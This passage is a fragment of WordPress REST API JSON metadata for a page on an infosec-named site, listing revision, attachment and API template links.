"count":17,"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=\/wp\/v2\/pages\/10\/revisions"}],"predecessor-version":[{"id":139,"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=\/wp\/v2\/pages\/10\/revisions\/139"}],"wp:attachment":[{"href":"https:\/\/bentoboxinfosec.com\/wordpress_8\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=10"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}